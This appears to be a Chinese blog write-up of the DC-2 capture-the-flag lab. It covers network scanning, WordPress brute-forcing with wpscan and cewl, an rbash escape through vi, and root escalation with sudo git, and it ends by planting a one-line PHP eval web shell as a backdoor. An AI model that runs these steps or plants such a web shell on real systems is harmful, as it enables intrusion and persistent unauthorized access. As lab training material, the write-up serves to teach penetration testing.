6.100个渗透测试实战#6(DC—2)

本文阅读 10 分钟
首页 代码,C/C#/C++ 正文

世间一切皆可努力

目录

一、实验环境

二、实验流程

三、实验步骤

(一)信息收集——主机发现

1.查看kali的网卡和IP信息(网卡名:eth0,IP地址:192.168.97.129);

2.查看靶机DC-2的页面;

3.探测特定网络内的主机存活状态(netdiscover、arp-scan、nmap);

4.分析所得:

(二)信息收集——端口(服务)扫描

1.扫描端口,以及端口对应的服务,以及靶机运行的操作系统等等信息;

2.分析所得:

(三)渗透测试——80端口(http服务)

1.对靶机的网站进行目录遍历;

2.在扫描的同时,浏览器访问其主页;

3.访问robots.txt页面;

4.逐个访问以上的扫描结果;

5.分析所得:

6.生成字典,暴力破解站点;

7.使用破解的结果,登录后台;

8.分析所得:

(四)渗透测试——7744端口(ssh)(直接获取了shell)

1.利用tom用户,尝试ssh;

2.分析所得:

(五)渗透测试——进一步信息收集,从而本地提权

1.开始致命连问,进一步信息收集;

2.分析所得:

3.进一步信息收集;

4.分析所得:

5.重新设置PATH环境变量,突破rbash;

6.切换用户jerry,进一步信息收集;

7.使用sudo git提权,获取root家目录下的最终flag;

(六)清楚痕迹,留下后门

1.在/var/www/html/wp-content/themes/twentyfifteen目录下留下1.php;

2.菜刀尝试连接;

四、总结

1.ls -la      列出所有的文件;

2.rbash的时候,通过vi命令另起一个shell,修改环境变量,突破rbash的限制;

3.git提权:sudo git help config        !/bin/bash

4.git提权方法:https://www.cnblogs.com/zaqzzz/p/12075132.html

5.提权方法总结:https://www.it2021.com/penetration/409.html

  • 靶机:DC-2,IP地址:192.168.97.150
  • 测试机:KaLi,IP地址:192.168.97.129
  • 测试机:物理机Win10
  • 连接方式:NAT
  • 信息收集——主机发现阶段
  • 信息收集——端口(服务)扫描阶段
  • 渗透测试——80端口
  • 渗透测试——Getshell
  • 渗透测试——本地提权
  • 清楚痕迹,留下后门

(一)信息收集——主机发现

1.查看kali的网卡和IP信息(网卡名:eth0,IP地址:192.168.97.129);

  • ifconfig -a

          -a   all

img

2.查看靶机DC-2的页面;

img

3.探测特定网络内的主机存活状态(netdiscover、arp-scan、nmap);

  • netdiscover -i eth0 -r 192.168.97.0/24

             -i    指定网卡

             -r    指定网段

img

  • arp-scan -l

           --localnet or -l    指定扫描本地网络

img

  • nmap -sP 192.168.97.0/24

             -sP    ping扫描且不进行端口扫描

img

4.分析所得:

  • 测试机kali的IP地址:192.168.97.129
  • 靶机的IP地址:192.168.97.150(注意主机名为dc-2)

(二)信息收集——端口(服务)扫描

1.扫描端口,以及端口对应的服务,以及靶机运行的操作系统等等信息;

  • nmap -p- -sV -O -A 192.168.97.150

         -p-        扫描全端口

         -sV       扫描端口对应的服务

         -O        扫描靶机的系统版本

         -A        扫描靶机的系统版本

img

2.分析所得:

  • 共扫描65535个端口,只有两个端口打开;
  • 80端口处于open状态,对应开启了http服务,推测其站点的CMS为WordPress;
  • 7744端口处于open状态,对应开启了ssh服务;
  • 靶机运行的系统为Debian,其内核推测在3.2-4.9之内;

(三)渗透测试——80端口(http服务)

1.对靶机的网站进行目录遍历;

img

img

  • 御剑扫描

img

2.在扫描的同时,浏览器访问其主页;

          如下图所示,IP自动转化为了域名,发现找不到dc-2,我们可以修改etc下的hosts文件即可

img

  • windows下修改:C:WindowsSystem32driversetchosts

img

            Flag 1:

                  Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.

                  More passwords is always better, but sometimes you just can’t win them all.

                  Log in as one to see the next flag.

                  If you can’t find it, log in as another.

                  //flag1提示:需要一个cewl生产的字典,来暴力破解登录后台页面;登录后能够得到第二个flag;如果找不到,请以                                           另 一个身份登录。

img

  • 指纹识别该网站

img

3.访问robots.txt页面;

  • 回显404

img

4.逐个访问以上的扫描结果;

img

img

img

img

img

img

img

 

5.分析所得:

  • 站点CMS:WordPress,可以通过wpscan扫描出后台登录页面的用户名;
  • 主页dc-2,存在flag1;
  • flag1提示:通过cewl生产密码字典,登陆时候多尝试用户名,登陆后,从而得到下一个flag
  • 登录页面http://dc-2/wp-login.php

6.生成字典,暴力破解站点;

  •  wpscan扫描后台登录用户有哪些:wpscan --url http://dc-2 -e u

           --url      后加网址

           -e  u     扫描用户

img

  • cewl从该网站上拉取关键字生产字典:cewl  http://dc-2  -w pass.dic

            -w      后加上生成的字典名字

  • 使用wpscan暴力破解该网站后台:wpscan --url http://dc-2  -U name.dic  -P  pass.dic

            --url    后加上目标网址

            -U      后加上用户名字典

            -P      后加上密码字典

        如下图所示,爆破成功,结果如下:             Username: jerry, Password: adipiscing             Username: tom, Password: parturient

img

7.使用破解的结果,登录后台;

  •  使用用户jerry用户登录后台:jerry: adipiscing

          如下图所示,我们成功进入,发现了flag2:如果你不能利用WordPress抄近路,还有别的办法。          希望你能找到另一个切入点。

img

img

  • 使用用户tom用户登录后台: tom: parturient

            如下图所示,我们找不到flag,跟之前的提示相互照应;

img

8.分析所得:

  • 有两个用户,一个登录后台的到flag,一个没有得到flag,那么这个用户可能还有别的作用(比如ssh)
  • 后台页面没有主题修改模块,不能再利用404.php获取shell了
  • flag2提示:不能再使用wordpress走捷径了,可以使用别的方法

(四)渗透测试——7744端口(ssh)(直接获取了shell)

1.利用tom用户,尝试ssh;

  • 使用metaxml软件,ssh连接( tom: parturient)

img

2.分析所得:

  • 此时,我已经使用tom用户,ssh登录了靶机;
  • 注意是汤姆用户!!!!(后面会提到)

(五)渗透测试——进一步信息收集,从而本地提权

1.开始致命连问,进一步信息收集;

  • whoami

img

  • id

img

  • pwd

img

  • ls -la

img

  • cat flag3.txt

img

  • vi flag3.txt

        如下图所示flag3.txt:可怜的老汤姆老是追杰瑞。也许他应该为他造成的所有压力而宽慰。

img

  • 根据flag3的提示,我要追jerry,先如今我是tom;
  • ls  -l  /home   查看确实有jerry用户的家目录

img

  • ls -la /home/jerry    列出jerry家目录下的内容,发现了flag4.txt

img

  • cd /home/jerry   切换命令,被限制

img

  • vi /home/jerry/flag4.txt       vi命令查看该flag

         如下图所示flag4.txt内容提示我们要进入root的家目录找到最终flag:

                很高兴你能走这么远,但你还没到家。

                你仍然需要得到最后的旗子(唯一真正重要的旗子!!!)。

                这里没有提示-你现在就靠自己了。:-)

                快走-快走!!!!

img

  • less /home/jerry/.bash_history

         权限不允许;

2.分析所得:

  • 现如今,tom的shell;(jerry拒绝ssh)(尝试可用命令,或者直接看到/usr/bin下的可用命令)
  • 在tom的家目录找到了flag3.txt,根据提示追jerry;
  • 进入jerry用户的家目录,找到了flag4.txt,提示我们提权到root;
  • 查看jerry的信息,权限不允许,也不能进行su切换用户;(并且jerry拒绝ssh)
  • 现在的bash被限制了,有很多命令不能执行;
  • 需要进一步的信息收集,突破rbash,从而切换到jerry继续收集信息;

3.进一步信息收集;

  • ls -la

img

  • less .bash_history

img

  • less .bash_login

img

  • less .bash_logout

img

  • less .bash_profile

img

  • less .bashrc

img

  • less .profile

img

  • ls usr/bin

           如下图所示,我们的tom家目录下有4条命令:less ls scp vi;并且被export设置为了环境变量,所以一般只能执行这四个               命令;

img

4.分析所得:

  • 从tom的家目录里面,发现了一条语句;
  • export PATH=/home/tom/usr/bin  设置当前shell的环境变量为该目录下的命令,但是只有:less ls scp vi;
  • 我们可以重新设置环境变量为:/usr/bin:/usr/sbin:/bin:/sbin

5.重新设置PATH环境变量,突破rbash;

  • export --help

img

  • export -p

           如下图所示,我们看到环境变量path="/home/tom/usr/bin"

           并且该PATH环境变量,只有rx,读执行权限,没有写权限。。。。。

img

  • 此时的Shell,虽然就只有那么几个命令可以执行,但是vi命令可以在末行状态的时候设置shell并且打开一个Shell
  • vi
  • :set shell=/bin/bash
  • :shell
  • export -p

img

  • export PATH=/usr/bin:/usr/sbin:/bin:/sbin

img

  • export -p

img

6.切换用户jerry,进一步信息收集;

  • su jerry

           adipiscing

  • ls -la

img

  • cat .bash_history

          如下图所示,提示我们进行sudo git提权

img

  • sudo -l

img

7.使用sudo git提权,获取root家目录下的最终flag;

一:

  • sudo git help config
  • !/bin/bash或者!'sh'          完成提权

二:

  • sudo git -p help
  • !/bin/bash

 

img

 

  • cd /root
  • ls
  • cat final-flag.txt

img

(六)清楚痕迹,留下后门

1.在/var/www/html/wp-content/themes/twentyfifteen目录下留下1.php;

  • <?php @eval($_POST['123']);?>

2.菜刀尝试连接;

img

  • 右键链接,开启终端

img

0.wpscan专门扫描wordpress站点的命令工具;

1.ls -la      列出所有的文件;

2.rbash的时候,通过vi命令另起一个shell,修改环境变量,突破rbash的限制;

3.git提权:sudo git help config        !/bin/bash

4.git提权方法:https://www.cnblogs.com/zaqzzz/p/12075132.html(别人的)

5.提权方法总结:https://www.it2021.com/penetration/409.html(别人的)

 

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/105116459
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复